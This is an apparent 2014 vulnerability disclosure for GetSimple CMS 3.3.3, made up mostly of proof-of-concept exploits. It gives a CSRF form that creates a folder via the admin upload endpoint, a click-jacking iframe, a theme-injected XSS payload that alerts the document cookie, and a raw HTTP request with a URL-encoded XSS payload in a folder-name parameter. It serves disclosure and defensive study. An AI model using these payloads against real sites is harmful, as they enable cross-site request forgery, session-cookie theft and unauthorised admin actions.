#Affected Vendor: http://get-simple.info/
#Date: 23/09/2014
#Discovered by: JoeV
#Type of vulnerability: CSRF, Click-jacking, DOM based XSS and XSS
#Tested on: Windows 7

#Version : 3.3.3

#Description: Get Simple CMS v 3.3.3 is susceptible to multiple
vulnerabilities such as CSRF, Click-jacking, DOM based XSS and XSS.

Proof of Concept (PoC):
---------------------------

1) CSRF
---------
<form method="GET" name="form0" action="
http://localhost:80/admin/upload.php?path=&nonce=538380793c11d2f81601a05eee834cd1d2c38fee&newfolder=jack
">
<input type="hidden" name="name" value="value"/>
</form>

2) Click-jacking
------------------
<iframe src="http://localhost/admin/" sanboxed width=900 height=900>
I AM BLIND !!!!
</iframe>

3) DOM based XSS (Themes)
----------------------------------
<div id="sidebar">
<div class="section">
<?php get_component('sidebar'); ?>
</div>
<div class="section credits">
<p><?php echo date('Y'); ?> - <strong><?php get_site_name(); ?></strong></p>
<p>
Cardinal Theme by <a href="http://www.cagintranet.com" >Cagintranet</a><br
/>
"><img src=d onerror=javascript:alert(document.cookie);>
<?php get_site_credits(); ?>
</p>
</div>
</div>
<div class="clear"></div>
 <?php get_footer(); ?>
</div><!-- end wrapper -->

4) XSS on Files (Create Folder)
------------------------------------
GET
/admin/upload.php?path=&nonce=538380793c11d2f81601a05eee834cd1d2c38fee&newfolder=%22%3E%3Cimg+src%3Dd+onerror%3Dconfirm(%2Fxss%2F)%3B%3E
HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/37.0.2062.120 Safari/537.36
Referer: http://localhost/admin/upload.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: iconSize=16x16; hudson_auto_refresh=true;
/modules/system/admin.php_SystemAutotasks_sortsel=sat_name;
/modules/system/admin.php_SystemAutotasks_ordersel=ASC;
/modules/system/admin.php_limitsel=15;
/modules/system/admin.php_SystemAutotasks_filtersel=default; cookies_on=1;
__atuvc=2%7C39;
2c83ccac291e27547de553cb57bc48530615cd78=22dd15ba66e19f2d0ccb10eb046cf7c0ad0d6b14;
GS_ADMIN_USERNAME=admin
If-Modified-Since: Tue, 23 Sep 2014 15:00:08 GMT